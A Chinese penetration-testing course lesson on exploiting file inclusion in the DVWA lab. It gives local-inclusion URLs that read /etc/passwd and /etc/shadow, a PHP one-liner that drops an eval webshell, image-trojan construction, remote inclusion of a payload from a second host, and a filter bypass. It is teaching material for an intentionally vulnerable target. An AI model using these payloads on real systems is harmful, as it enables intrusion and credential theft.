3.2 文件包含漏洞渗透实战(OWASP实战训练)

3.2 文件包含漏洞渗透实战(OWASP实战训练)

  • 原理及危害
  • 3.低安全级别渗透
    • 3.1本地文件包含漏洞
    • 3.2 本地文件包含漏洞+webshell
    • 3.3远程文件包含漏洞

上一节讲了本地文件包含和远程文件包含

本地文件包含需要将文件传上去或者不传上去(本地系统的一些文件)
在这里插入图片描述

  我们是传不了PHP的文件,高安全级别下,如果能上传PHP文件,就不需要这么麻烦了,我们传图片,当然传图片上去不一定能用,本身还要找他的文件包含漏洞,如果传了一个包含生成一句话木马的图片上去,恰好又有文件包含漏洞,就可以执行图片在本地生成一句话木马PHP文件,这样就可以用菜刀这种攻击连接一句话木马,获取其webshell
  上传图片,能被包含执行,可能会看到乱码,但是有正确的代码执行。
  学习安全上来就攻击这个网站不可能,需要建立起基础体系,很多高手工具一点也看不懂,讲完后,可能也达不到随心所欲攻击的结果,这个课也不长,真要学的话也要学好几个月呢,但是可以保证再去看高手的攻击步骤就能看懂了。就可以开始自学或者使用了,否则开始看都看不懂,因为高手在写案例的时候不考虑基础。

原理及危害

在这里插入图片描述

  Php.ini文件会影响到很多东西,如upload限制上传文件大小等,我们关注的是allow_url_include = on 开启允许包含能力,还需看开发人员是否包含你上传的文件。
  远程文件包含真的没有用,应该关上(allow_url_fopen)
  注意在# vim /etc/php5/cli/php.ini 此路径仅限于此靶机路径,你的服务器路径就可能不是这个路径了。
  这个路径是需要有一定的运维能力才能去找到的。
在这里插入图片描述

3.低安全级别渗透

3.1本地文件包含漏洞

访问本地系统账号信息及其他敏感信息

http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/shadow
http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini
http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/mysql/my.cnf
http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/apache2/apache2.conf
http://192.168.56.103/dvwa/robots.txt
或者http://192.168.56.103/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/robots.txt

这个robots每个网站都有名字相同

  www.qfedu.com/robots.txt 我们的网站会被百度谷歌等浏览器爬取,这个robots.txt是一个爬取的公共协议,这里写的那些目录不能爬,那些能爬,百度就会遵循这个协议来爬取自己能爬的网站。当然有些恶意的爬取就不管这些协议了。这是爬取行业的一个规范。
  但是往往这么写有另外的问题暴露了你的一些信息,所有这个

下面通过访问www.qfedu.com/robots.txt得到千锋的一些信息

#
# robots.txt for EmpireCMS	//此处使用 EmpireCMS来建立的站
#

User-agent: *
allow:http://www.qfedu.com/sitemap.xml
Disallow: /d/
Disallow: /e/class/
Disallow: /e/config/
Disallow: /e/data/
Disallow: /e/enews/
Disallow: /e/update/
Disallow: /js/
Disallow: /img/
Disallow: /css/
Disallow: /testdata/
Disallow: /testing/
Disallow: /ceshi/
Disallow: /*?*
Disallow: /*test.html
Disallow: /*test/
Disallow: /*test/*test.html
Disallow: /jingjia/*.html

  //此处使用 EmpireCMS来建立的站,网站都是在人家的框架基础之上二次开发的,现在dede,帝国,CMS系统当然会有漏洞。
  像这种通用的东西,能减少开发周期,后期维护也较为简单,但坏处也明显,一旦有什么漏洞,使用这个多的也中招。
  Robots也是个敏感文件
  本地文件包含后面可以跟密码、账号、系统信息、PHP配置、Apache配置像Robots之类的敏感文件,当然Robots这个文件谁都可以访问,只要知道这个名字。

3.2 本地文件包含漏洞+webshell

1.制作一句话图片木马 e.g. yangge.jpg

<?fputs(fopen("shell20.php", "w"),'<?php eval($_POST[yangge]);?>')?>

2.上传图片木马文件
3.执行文件包含并生成后门(并不是访问图片,将其内容包含在某个程序中执行)
4.通过菜刀连接webshell

提示:

/var/www/dvwa/hackable/uploads			//dvwa文件上传访问的目录 yangge.jpg
/var/www/dvwa/vulnerabilities/fi			//dvwa文件包含访问的目录 shell20.php

将生成木马程序添加到图片后大小变化很小。
下方是图片上传的位置

http://192.168.0.105/dvwa/hackable/uploads/hacker.jpg

所有静态资源服务器都不会执行,只有动态资源才会执行,我们要的不是把这个资源再请求回来,而是在服务器中被当成程序执行一遍。

http://192.168.0.105/dvwa/vulnerabilities/fi/?page=include.php

将这个图片包含执行后生成的文件在
http://192.168.0.105/dvwa/vulnerabilities/fi/

  写全路径行吗,现在上传目录已有,文件包含目录也已有,刚才上传的图片在,现在是需要包含了,好像使用绝对路径有点问题,是不可以的,现在的话使用相对路径。
  如果图片不行的话可能复制的一句话木马有问题
  已经发现问题了,是代码的问题现在我在图片木马文件下建立了一个shell2.php里面是生成木马程序
  只需点击a.bat文件在当前目录下打开cmd执行下方代码

copy meinv.jpg/b+shell2.php/a meinv3.jpg

就生成了meinv3.ipg图片木马,将其上传使用包含漏洞是可以执行的。

http://192.168.0.105/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/meinv2.jpg

执行上方的地址后下方会出现乱码,接着在上方的路径下能看到生成的PHP一句话木马。
接下来连接就没问题了
使用菜刀连接此地址

http://192.168.0.105/dvwa/vulnerabilities/fi/shell20.php

密码yangge这样就连接上了。

  其实我们可以上传图片木马,也可以建一个txt文件在里面写上生成木马程序,当此文件被包含的时候和图片木马一样也能在其服务器上生成shell20.php木马文件。
在/var/www下建立一个txt文件包含以下内容。

<?fputs(fopen("shell50.php", "w"),'<?php eval($_POST[yangge]);?>')?>

3.3远程文件包含漏洞

  这就不是那么费劲了。只要我们搭建一个服务器将图片放上去,再将图片包含进去即可,此时使用路径http://192.168.0.107/meinv2.jpg
这个路径在另一个owasp上的根目录下,来验证远程包含
或者http://192.168.0.107/yangge.txt
接着执行

http://192.168.0.105/dvwa/vulnerabilities/fi/?page=http://192.168.0.107/yangge.txt

  这时下方就没有乱码了,因为不像图片那样还有多余的数据会出现乱码。
  接着再在被攻击的owasp中的/var/www/dvwa/vulnerabilities/fi 路径下看到新生成的shell50.php文件
  这个远程文件包含是非常简单的只要将这个图片或者txt放在自己准备的服务器上就行了。或者攻击一个网站将含有木马的图片上传其服务器上。
  也可以是其他后缀的图片文件之类的。

  我们使用上传和包含的漏洞进行的。
  很显然远程包含效率要高一些。

  将file inclusion安全级别调为中级
  先来到文件包含漏洞页面看一下源码

<?php 

    $file = $_GET['page']; // The page we wish to display  

    // Bad input validation 
    $file = str_replace("http://", "", $file); 
    $file = str_replace("https://", "", $file);         
?> 

  中安全级别对本地文件包含漏洞利用没有任何影响,上传一个图片也是没问题的,和之前的一样。但是远程文件包含就有问题了,他会将你的http://变成了空,这样就无法远程包含了。
那如果这样写

http://192.168.0.105/dvwa/vulnerabilities/fi/?page=httphttp://://192.168.0.107/yangge.txt

这样就能访问生成木马了。

httphttp://://	-  http:// =http://

将file inclusion安全级别调为高级
那如果是高安全级别呢?

<?php 
         
    $file = $_GET['page']; //The page we wish to display  

    // Only allow include.php 
    if ( $file != "include.php" ) { 
        echo "ERROR: File not found!"; 
        exit; 
    }       
?> 

  这包含特定文件,只要不是include.php就报错不执行。应编码,对于后期修改也是不灵活的,但也安全。
  这种安全,但对开发人员来说比较痛苦。有可能要包含很多的文件。但还是对要包含的文件有些限制。

  包含本身是正常的,要看其有无包含行为,并且其对包含文件没有检测才造成了这个漏洞。不要轻看这个,页面多了就可能犯错,后面会讲web漏扫,实际上一个网站不会告诉你有什么漏洞,所以要漏扫,扫出漏洞,通过漏扫软件,一旦扫出效果就和上方一样。
  文件包含漏洞在整个排行不高,任何一个点不安全都会导致权限被拿走。

下一讲会讲到sql注入,这是排在第一位的安全问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/743258.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

导出 S 参数扫描结果供 INTERCONNECT 使用

导出 S 参数扫描结果供 INTERCONNECT 使用 正文正文 有时候,对于 FDTD 无法直接进行仿真的大型仿真链路,我们需要使用 FDTD 针对单个小的模块进行仿真,再将得到的 S 参数结果导入到 INTERCONNECT 中使用,最终完成整个链路的仿真。通常完成 S 参数扫描后其状态如下图所示:…

【数据结构】栈的定义与实现(附完整运行代码)

目录 一、栈的定义 二、顺序栈 链栈比较 三、栈的实现&#xff08;顺序栈&#xff09; 3.1 ❥ 定义栈结构 3.2 ❥ 初始化 3.3 ❥ 销毁 3.4 ❥ 插入&#xff08;入栈&#xff09; 3.5 ❥ 删除 &#xff08;出栈&#xff09; 3.6 ❥ 获取栈顶元素 3.7 ❥ 判空 3.8 ❥…

1962springboot VUE社区服务平台系统开发mysql数据库web结构java编程计算机网页源码maven项目

一、源码特点 springboot VUE社区服务平台系统是一套完善的完整信息管理类型系统&#xff0c;结合springboot框架和VUE完成本系统&#xff0c;对理解vue java编程开发语言有帮助系统采用springboot框架&#xff08;MVC模式开发&#xff09;&#xff0c;系统具有完整的源代码和…

光泽正在褪去,所以我们又回到了人工智能领域。

光泽正在褪去&#xff0c;所以我们又回到了人工智能领域。 人工智能冬天将被私有化 自从“人工智能”这个流行词在20世纪50年代被创造出来以来&#xff0c;人工智能经历了几次繁荣和萧条周期。 一种新的技术方法看起来很有趣&#xff0c;并取得了一些成果。它被荒谬地炒作并获…

EdgeOne 边缘函数 + Hono.js + Fauna 搭建个人博客

一、背景 虽然 “博客” 已经是很多很多年前流行的东西了&#xff0c;但是时至今日&#xff0c;仍然有一部分人在维护自己的博客站点&#xff0c;输出不少高质量的文章。 我使用过几种博客托管平台或静态博客生成框架&#xff0c;前段时间使用Hono.jsFauna &#xff0c;基于 …

热电发电机越来越受到研发关注

热电发电机 (TEG) 利用热量&#xff08;或更准确地说&#xff0c;温差&#xff09;和众所周知的塞贝克效应来发电。它们的应用范围从收集可用热能&#xff0c;尤其是在工业和其他情况下“浪费”的热能&#xff0c;到在放射性同位素热发电机 (RTG) 中使用航天器的放射性电源作为…

静电场的基本方程

目录 场积分方程 通量&#xff08;高斯定理&#xff09; 环量 场微分方程 散度 旋度 小结 补充知识 立体角 场积分方程 通量&#xff08;高斯定理&#xff09; 环量 场微分方程 散度 旋度 小结 补充知识 立体角

慢性病防治新策略:诊所管理系统助力健康管理变革

慢性病&#xff0c;如高血压、糖尿病等&#xff0c;正逐渐成为全球健康领域的重要挑战。据尚普咨询的数据显示&#xff0c;全球每年有4100万人死于慢性非传染性疾病&#xff0c;占全球死亡总数的71%。而在中国&#xff0c;随着经济社会发展和卫生健康服务水平的提高&#xff0c…

OpenAI突然宣布停止向中国提供API服务!

标题 &#x1f31f; OpenAI突然宣布停止向中国提供API服务! &#x1f31f;摘要 &#x1f4dc;引言 &#x1f4e2;正文 &#x1f4dd;1. OpenAI API的重要性2. 停止服务的原因分析3. 对中国市场的影响4. 应对措施代码案例 &#x1f4c2;常见问题解答&#xff08;QA&#xff09;❓…

使用AES,前端加密,后端解密,spring工具类了

学习python的时候&#xff0c;看到很多会对参数进行加密&#xff0c;于是好奇心驱使下&#xff0c;让我去了解了下AES加密如何在java中实现。 首先 npm install crypto-js 然后在你的方法中&#xff0c;给你们前端源码看看&#xff0c;因为我用的ruoyi框架做的实验&#xff…

iSCSI driver not found和Failed to start Open-iSCSI的解决方法

案例1&#xff1a;iscsi的配置有问题 方法&#xff1a;一般的处理方法为重装iscsi-initiator-utils。 案例2&#xff1a;linux安装了多个内核&#xff0c;启动所选的内核与iscsi服务不匹配 方法&#xff1a;重启系统&#xff0c;选择对应的内核版本启动系统。 &#xff08;注…

Python 围棋

效果图 完整代码 源码地址&#xff1a;Python 围棋 # 使用Python内置GUI模块tkinter from tkinter import * # ttk覆盖tkinter部分对象&#xff0c;ttk对tkinter进行了优化 from tkinter.ttk import * # 深拷贝时需要用到copy模块 import copy import tkinter.me…

机器学习课程复习——奇异值分解

1. 三种奇异值分解 奇异值分解&#xff08;Singular Value Decomposition, SVD&#xff09;包含了&#xff1a; 完全奇异值分解&#xff08;Complete Singular Value Decomposition, CSVD&#xff09;紧奇异值分解&#xff08;Tight Singular Value Decomposition, TSVD&…

赶快收藏!全网最佳 WebSocket 封装:完美支持断网重连、自动心跳!

文章目录 一、WebSocket 基础WebSocket 的基本使用 二、封装 WebSocket 客户端WebSocketClient 类使用 WebSocketClient 类解释代码实现 三、总结优点未来改进 &#x1f389;欢迎来到SpringBoot框架学习专栏~ ☆* o(≧▽≦)o *☆嗨~我是IT陈寒&#x1f379;✨博客主页&#xff…

【复旦邱锡鹏教授《神经网络与深度学习公开课》笔记】卷积

卷积经常用在信号处理中&#xff0c;用于计算信号的延迟累积。假设一个信号发射器每个时刻 t t t产生一个信号 x t x_t xt​&#xff0c;其信息的衰减率为 w k w_k wk​&#xff0c;即在 k − 1 k-1 k−1个时间步长后&#xff0c;信息为原来的 w k w_k wk​倍&#xff0c;时刻 …

电脑图片压缩方法哪个好?这几个压缩方法必看

大家是否经常因为图片文件过大而无法轻松分享或上传而感到困扰&#xff1f;这说明你需要一款高效的图片压缩工具了。 无论是为了节省存储空间还是快速分享图片&#xff0c;拥有一款功能强大的图片压缩软件将极大地助你保存和分享图片。 今天&#xff0c;本文将介绍几款图片压…

QT自定义信号和槽函数

在QT中最重要也是必须要掌握的机制&#xff0c;就是信号与槽机制&#xff0c;在MFC上也就是类型的机制就是消息与响应函数机制 在QT中我们不仅要学会如何使用信号与槽机制&#xff0c;还要会自定义信号与槽函数&#xff0c;要自定义的原因是系统提供的信号&#xff0c;在一些情…

基于Python的求职招聘管理系统【附源码】

摘 要 随着互联网技术的不断发展&#xff0c;人类的生活已经逐渐离不开网络了&#xff0c;在未来的社会中&#xff0c;人类的生活与工作都离不开数字化、网络化、电子化与虚拟化的数字技术。从互联网的发展历史、当前的应用现状和发展趋势来看&#xff0c;我们完全可以肯定&…

前后端交互的弯弯绕绕

前后端交互&#xff1a; &#x1f197;&#xff0c;收拾一下心情让我们来聊一聊AJax吧&#xff0c;随着前端的飞速发展&#xff0c;前后的交互也发生了天翻地覆的变化&#xff1a; 前后端交互的方式有很多&#xff1a; AJAX、表单提交、WebSocket、RESTful API、... 这对新入…

九、(正点原子)Linux定时器

一、Linux中断简介 1、中断号 每个中断都有一个中断号&#xff0c;通过中断号即可区分不同的中断&#xff0c;有的资料也把中断号叫做中断线。在 Linux 内核中使用一个 int 变量表示中断号。在Linux中&#xff0c;我们可以使用已经编写好的API函数来申请中断号&#xff0c;定义…